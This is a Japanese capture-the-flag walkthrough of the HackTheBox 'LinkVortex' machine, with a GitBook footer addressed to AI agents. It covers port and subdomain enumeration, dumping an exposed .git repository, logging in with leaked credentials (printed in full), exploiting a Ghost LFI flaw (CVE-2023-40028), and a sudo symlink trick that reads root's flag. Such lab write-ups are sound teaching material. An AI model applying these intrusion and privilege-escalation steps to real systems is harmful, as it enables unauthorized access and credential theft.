> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md). # LinkVortex HackTheBox攻略記事 .gitディレクトリからの情報抽出（Git-Dumper）、情報漏えい、LFI悪用（Ghost）を扱うLinkVortex HackTheBox Easy Linuxマシンの攻略記事。実践的な {% embed url="" %} {% hint style="warning" %} **スキル:** * サブドメイン列挙 * .git ディレクトリからの情報抽出（Git-Dumper） * 情報漏えい * LFIの悪用（Ghost） * スクリプト経由でのSudo権限の悪用（ダブル・シンボリックリンク） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**/etc/hosts ファイルの設定** ターゲットのIPアドレスを私たちの `/etc/hosts` ファイルに追加して、ローカルDNS解決を容易にする。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 linkvortex.htb -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使用して開いているポートを簡潔な形式で表示し、クリップボードにコピーする（22.80）

### **ポート80**

**Nmapによるポートバージョンスキャン：** Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p22,80 linkvortex.htb -oN targeted ```

### **ディレクトリ列挙** ```bash wfuzz -c -t 100 --hc=404,301 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt http://linkvortex.htb/FUZZ/ ```

### 管理パネル - Ghost

### **サブドメインの発見** 私たちは関連するサブドメインを探します `linkvortex.htb` を gobuster を使って。 ```bash gobuster vhost -u http://linkvortex.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 ``` 次のサブドメインを見つけます `dev.linkvortex.htb`。検索を実行するコマンドは以下のとおりです：

サブドメインが見つかったら、アクセスしやすくするために `/etc/hosts` ファイルに追加します：

#### **新しいサブドメインでのディレクトリ探索** 対象の `dev.linkvortex.htb` サブドメイン上に存在するディレクトリを `gobuster`: ```bash gobuster dir -u http://dev.linkvortex.htb/ -w /usr/share/SecLists/Discovery/Web-Content/common.txt -t 100 ``` 見つけたのは `.git` ディレクトリで、公開された Git リポジトリの可能性があります。

### **Git-Dumperによるファイル抽出** 私たちは `git-dumper` ツールを使って `.git` ディレクトリからファイルを抽出し、解析します： ```git git-dumper http://dev.linkvortex.htb/.git .git ```

これにより、機密性の高いファイルを入手できます。たとえば、以下にあるテストファイルなどです `ghost/core/test/regression/api/admin/authentication.test.js`、そこにパスワードを見つけます：

**見つかったパスワード：** ```parser OctopiFociPilfer45 ```

### **Ghost管理パネルへのログイン** このパスワードを使って、Ghostの管理パネルへの接続を試みます。 `admin@linkvortex.htb` のメールアドレスを使用して： * **メールアドレス** : `admin@linkvortex.htb` * **パスワード**: `OctopiFociPilfer45`

## GHostの脆弱性 - LFI {% embed url="" %}

> ポートスキャン中に、使用されているGhostのバージョン（v5.58）がLFI（Local File Inclusion）脆弱性、CVE-2023-40028に対して脆弱であることを確認しました。この脆弱性を悪用するために、エクスプロイトスクリプトをダウンロードし、対象URLを自分たちのGhostインスタンスに向けるよう修正します。

エクスプロイトを実行するコマンドは以下のとおりです： ```bash ./LFI.sh -u admin@linkvortex.htb -p OctopiFociPilfer45 ``` その後シェルを取得でき、次のようなファイルを表示できます `/etc/passwd`.

**LFIによる内部ルートへのアクセス** その `.git` ディレクトリで、セッションにアクセスするための内部ルートを提供するDockerファイルを見つけました： `/var/lib/ghost/config.production.json`.

LFIを使ってファイルを列挙し、Bobというユーザーの認証情報を見つけます：

**Bobの認証情報：** * **ユーザー**: `bob@linkvortex.htb` * **パスワード**: `fibber-talented-worth` Bobの認証情報を使って、SSH経由でターゲットマシンに接続します： ### フラグ user.txt :) パスワード `fibber-talented-worth` を使ってログインし、ファイルにアクセスします `user.txt`、そこにフラグがあります。

## root.txt フラグ :) ### SUDO - Clean/\_synLink.sh 権限昇格につながる脆弱性を探しています。SUID権限を持つファイルを見つけました。

#### **シンボリックリンククリーンアップスクリプトの解析** > という名前のスクリプトを解析します `clean_symlink.sh`。これは、引数として渡されたファイルが `.png` ファイルを指すシンボリックリンクかどうかを確認します。シンボリックリンクが重要なファイルを指している場合、スクリプトはそれを削除します。そうでなければ、シンボリックリンクを `/var/quarantined/` ディレクトリへ移動します。 `CHECK_CONTENT` 環境変数が `true`に設定されている場合、スクリプトはファイルの内容を読み取ろうとします。悪用に必要なシンボリックリンクを作成するコマンドは以下のとおりです： ```bash ln -s /root/root.txt flag.txt ln -s /home/bob/flag.txt flag.png ``` その後、rootフラグを取得するために次のコマンドでスクリプトを実行します： ```bash sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /home/bob/flag.png ``` こうして私たちは `root.txt` フラグを入手します。

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-easy/linkvortex-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.